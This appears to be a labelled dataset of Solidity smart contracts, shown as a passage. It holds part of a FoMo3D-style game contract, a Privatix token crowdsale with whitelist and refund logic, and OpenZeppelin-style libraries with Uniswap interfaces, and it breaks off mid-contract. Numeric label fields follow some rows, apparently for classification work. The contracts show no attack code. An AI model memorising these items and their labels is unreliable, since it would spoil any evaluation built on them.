return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 405 |
pragma solidity ^0.4.15;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract MultiOwners {
event AccessGrant(address indexed owner);
event AccessRevoke(address indexed owner);
mapping(address => bool) owners;
function MultiOwners() {
owners[msg.sender] = true;
}
modifier onlyOwner() {
require(owners[msg.sender] == true);
_;
}
function isOwner() constant returns (bool) {
return owners[msg.sender] ? true : false;
}
function checkOwner(address maybe_owner) constant returns (bool) {
return owners[maybe_owner] ? true : false;
}
function grant(address _owner) onlyOwner {
owners[_owner] = true;
AccessGrant(_owner);
}
function revoke(address _owner) onlyOwner {
require(msg.sender != _owner);
owners[_owner] = false;
AccessRevoke(_owner);
}
}
contract Sale is MultiOwners {
uint256 public softCap;
uint256 public hardCap;
uint256 public totalEthers;
Token public token;
address public wallet;
uint256 public maximumTokens;
uint256 public minimalEther;
uint256 public weiPerToken;
uint256 public startTime;
uint256 public endTime;
bool public refundAllowed;
mapping(address => uint256) public etherBalances;
mapping(address => uint256) public whitelist;
uint256 public bountyReward;
uint256 public teamReward;
uint256 public founderReward;
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event Whitelist(address indexed beneficiary, uint256 value);
modifier validPurchase(address contributor) {
bool withinPeriod = ((now >= startTime || checkWhitelist(contributor, msg.value)) && now <= endTime);
bool nonZeroPurchase = msg.value != 0;
require(withinPeriod && nonZeroPurchase);
_;
}
modifier isStarted() {
require(now >= startTime);
_;
}
modifier isExpired() {
require(now > endTime);
_;
}
function Sale(uint256 _startTime, address _wallet) {
require(_startTime >= now);
require(_wallet != 0x0);
token = new Token();
wallet = _wallet;
startTime = _startTime;
minimalEther = 1e16;
endTime = _startTime + 28 days;
weiPerToken = 1e18 / 100e8;
hardCap = 57142e18;
softCap = 3350e18;
token.mint(0x992066a964C241eD4996E750284d039B14A19fA5, 11199999999860);
token.mint(0x1F4df63B8d32e54d94141EF8475c55dF4db2a02D, 9333333333170);
token.mint(0xce192Be11DdE37630Ef842E3aF5fBD7bEA15C6f9, 2799999999930);
token.mint(0x18D2AD9DFC0BA35E124E105E268ebC224323694a, 1120000000000);
token.mint(0x4eD1db98a562594CbD42161354746eAafD1F9C44, 933333333310);
token.mint(0x00FEbfc7be373f8088182850FeCA034DDA8b7a67, 896000000000);
token.mint(0x86850f5f7D035dD96B07A75c484D520cff13eb58, 634666666620);
token.mint(0x08750DA30e952B6ef3D034172904ca7Ec1ab133A, 616000000000);
token.mint(0x4B61eDe41e7C8034d6bdF1741cA94910993798aa, 578666666620);
token.mint(0xdcb018EAD6a94843ef2391b3358294020791450b, 560000000000);
token.mint(0xb62E27446079c2F2575C79274cd905Bf1E1e4eDb, 560000000000);
token.mint(0xFF37732a268a2ED27627c14c45f100b87E17fFDa, 560000000000);
token.mint(0x7bDeD0D5B6e2F9a44f59752Af633e4D1ed200392, 80000000000);
token.mint(0x995516bb1458fa7b192Bb4Bab0635Fc9Ab447FD1, 48000000000);
token.mint(0x95a7BEf91A5512d954c721ccbd6fC5402667FaDe, 32000000000);
token.mint(0x3E10553fff3a5Ac28B9A7e7f4afaFB4C1D6Efc0b, 24000000000);
token.mint(0x7C8E7d9BE868673a1bfE0686742aCcb6EaFFEF6F, 17600000000);
maximumTokens = token.totalSupply() + 8000000e8;
whitelist[0xBd7dC4B22BfAD791Cd5d39327F676E0dC3c0C2D0] = 2000 ether;
whitelist[0xebAd12E50aDBeb3C7b72f4a877bC43E7Ec03CD60] = 200 ether;
whitelist[0xcFC9315cee88e5C650b5a97318c2B9F632af6547] = 200 ether;
whitelist[0xC6318573a1Eb70B7B3d53F007d46fcEB3CFcEEaC] = 200 ether;
whitelist[0x9d4096117d7FFCaD8311A1522029581D7BF6f008] = 150 ether;
whitelist[0xfa99b733fc996174CE1ef91feA26b15D2adC3E31] = 100 ether;
whitelist[0xdbb70fbedd2661ef3b6bdf0c105e62fd1c61da7c] = 100 ether;
whitelist[0xa16fd60B82b81b4374ac2f2734FF0da78D1CEf3f] = 100 ether;
whitelist[0x8c950B58dD54A54E90D9c8AD8bE87B10ad30B59B] = 100 ether;
whitelist[0x5c32Bd73Afe16b3De78c8Ce90B64e569792E9411] = 100 ether;
whitelist[0x4Daf690A5F8a466Cb49b424A776aD505d2CD7B7d] = 100 ether;
whitelist[0x3da7486DF0F343A0E6AF8D26259187417ed08EC9] = 100 ether;
whitelist[0x3ac05aa1f06e930640c485a86a831750a6c2275e] = 100 ether;
whitelist[0x009e02b21aBEFc7ECC1F2B11700b49106D7D552b] = 100 ether;
whitelist[0xCD540A0cC5260378fc818CA815EC8B22F966C0af] = 85 ether;
whitelist[0x6e8b688CB562a028E5D9Cb55ac1eE43c22c96995] = 60 ether;
whitelist[0xe6D62ec63852b246d3D348D4b3754e0E72F67df4] = 50 ether;
whitelist[0xE127C0c9A2783cBa017a835c34D7AF6Ca602c7C2] = 50 ether;
whitelist[0xD933d531D354Bb49e283930743E0a473FC8099Df] = 50 ether;
whitelist[0x8c3C524A2be451A670183Ee4A2415f0d64a8f1ae] = 50 ether;
whitelist[0x7e0fb316Ac92b67569Ed5bE500D9A6917732112f] = 50 ether;
whitelist[0x738C090D87f6539350f81c0229376e4838e6c363] = 50 ether;
}
function hardCapReached() constant public returns (bool) {
return ((hardCap * 999) / 1000) <= totalEthers;
}
function softCapReached() constant public returns(bool) {
return totalEthers >= softCap;
}
function() payable {
return buyTokens(msg.sender);
}
function calcAmountAt(uint256 _value, uint256 at) public constant returns (uint256) {
uint rate;
if(startTime + 2 days >= at) {
rate = 140;
} else if(startTime + 7 days >= at) {
rate = 130;
} else if(startTime + 14 days >= at) {
rate = 120;
} else if(startTime + 21 days >= at) {
rate = 110;
} else {
rate = 105;
}
return ((_value * rate) / weiPerToken) / 100;
}
function checkWhitelist(address contributor, uint256 amount) internal returns (bool) {
return etherBalances[contributor] + amount <= whitelist[contributor];
}
function addWhitelist(address contributor, uint256 amount) onlyOwner public returns (bool) {
Whitelist(contributor, amount);
whitelist[contributor] = amount;
return true;
}
function addWhitelists(address[] contributors, uint256[] amounts) onlyOwner public returns (bool) {
address contributor;
uint256 amount;
require(contributors.length == amounts.length);
for (uint i = 0; i < contributors.length; i++) {
contributor = contributors[i];
amount = amounts[i];
require(addWhitelist(contributor, amount));
}
return true;
}
function buyTokens(address contributor) payable validPurchase(contributor) public {
uint256 amount = calcAmountAt(msg.value, block.timestamp);
require(contributor != 0x0) ;
require(minimalEther <= msg.value);
require(token.totalSupply() + amount <= maximumTokens);
token.mint(contributor, amount);
TokenPurchase(contributor, msg.value, amount);
if(softCapReached()) {
totalEthers = totalEthers + msg.value;
} else if (this.balance >= softCap) {
totalEthers = this.balance;
} else {
etherBalances[contributor] = etherBalances[contributor] + msg.value;
}
require(totalEthers <= hardCap);
}
function withdraw() onlyOwner public {
require(softCapReached());
require(this.balance > 0);
wallet.transfer(this.balance);
}
function withdrawTokenToFounder() onlyOwner public {
require(token.balanceOf(this) > 0);
require(softCapReached());
require(startTime + 1 years < now);
token.transfer(wallet, token.balanceOf(this));
}
function refund() isExpired public {
require(refundAllowed);
require(!softCapReached());
require(etherBalances[msg.sender] > 0);
require(token.balanceOf(msg.sender) > 0);
uint256 current_balance = etherBalances[msg.sender];
etherBalances[msg.sender] = 0;
token.burn(msg.sender);
msg.sender.transfer(current_balance);
}
function finishCrowdsale() onlyOwner public {
require(now > endTime || hardCapReached());
require(!token.mintingFinished());
bountyReward = token.totalSupply() * 3 / 83;
teamReward = token.totalSupply() * 7 / 83;
founderReward = token.totalSupply() * 7 / 83;
if(softCapReached()) {
token.mint(wallet, bountyReward);
token.mint(wallet, teamReward);
token.mint(this, founderReward);
token.finishMinting(true);
} else {
refundAllowed = true;
token.finishMinting(false);
}
}
function running() public constant returns (bool) {
return now >= startTime && !(now > endTime || hardCapReached());
}
}
contract Token is MintableToken {
string public constant name = 'Privatix';
string public constant symbol = 'PRIX';
uint8 public constant decimals = 8;
bool public transferAllowed;
event Burn(address indexed from, uint256 value);
event TransferAllowed(bool);
modifier canTransfer() {
require(mintingFinished && transferAllowed);
_;
}
function transferFrom(address from, address to, uint256 value) canTransfer returns (bool) {
return super.transferFrom(from, to, value);
}
function transfer(address to, uint256 value) canTransfer returns (bool) {
return super.transfer(to, value);
}
function finishMinting(bool _transferAllowed) onlyOwner returns (bool) {
transferAllowed = _transferAllowed;
TransferAllowed(_transferAllowed);
return super.finishMinting();
}
function burn(address from) onlyOwner returns (bool) {
Transfer(from, 0x0, balances[from]);
Burn(from, balances[from]);
balances[0x0] += balances[from];
balances[from] = 0;
}
} | 0 | 757 |
pragma solidity ^0.8.0;
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
pragma solidity ^0.8.0;
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
pragma solidity ^0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.8.0;
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
pragma solidity ^0.8.0;
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
pragma solidity ^0.8.0;
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity ^0.8.0;
library IterableMapping {
struct Map {
address[] keys;
mapping(address => uint256) values;
mapping(address => uint256) indexOf;
mapping(address => bool) inserted;
}
function get(Map storage map, address key) public view returns (uint256) {
return map.values[key];
}
function getIndexOfKey(Map storage map, address key)
public
view
returns (int256)
{
if (!map.inserted[key]) {
return -1;
}
return int256(map.indexOf[key]);
}
function getKeyAtIndex(Map storage map, uint256 index)
public
view
returns (address)
{
return map.keys[index];
}
function size(Map storage map) public view returns (uint256) {
return map.keys.length;
}
function set(
Map storage map,
address key,
uint256 val
) public {
if (map.inserted[key]) {
map.values[key] = val;
} else {
map.inserted[key] = true;
map.values[key] = val;
map.indexOf[key] = map.keys.length;
map.keys.push(key);
}
}
function remove(Map storage map, address key) public {
if (!map.inserted[key]) {
return;
}
delete map.inserted[key];
delete map.values[key];
uint256 index = map.indexOf[key];
uint256 lastIndex = map.keys.length - 1;
address lastKey = map.keys[lastIndex];
map.indexOf[lastKey] = index;
delete map.indexOf[key];
map.keys[index] = lastKey;
map.keys.pop();
}
}
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
pragma solidity ^0.8.0;
interface INodeManager {
struct NodeEntity {
string name;
uint256 creationTime;
uint256 lastClaimTime;
uint256 amount;
uint256 tier;
uint256 totalClaimed;
}
function getNodePrice(uint256 _tierIndex) external view returns (uint256);
function createNode(
address account,
string memory nodeName,
uint256 tier
) external;
function getNodeReward(address account, uint256 _creationTime)
external
view
returns (uint256);
function getAllNodesRewards(address account) external view returns (uint256);
function cashoutNodeReward(address account, uint256 _creationTime) external;
function cashoutAllNodesRewards(address account) external;
function getAllNodes(address account)
external
view
returns (NodeEntity[] memory);
function getNodeFee(
address account,
uint256 _creationTime,
uint256 _rewardAmount
) external returns (uint256);
function getAllNodesFee(address account, uint256 _rewardAmount)
external
returns (uint256);
}
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
pragma solidity ^0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.8.0;
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity ^0.8.0;
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
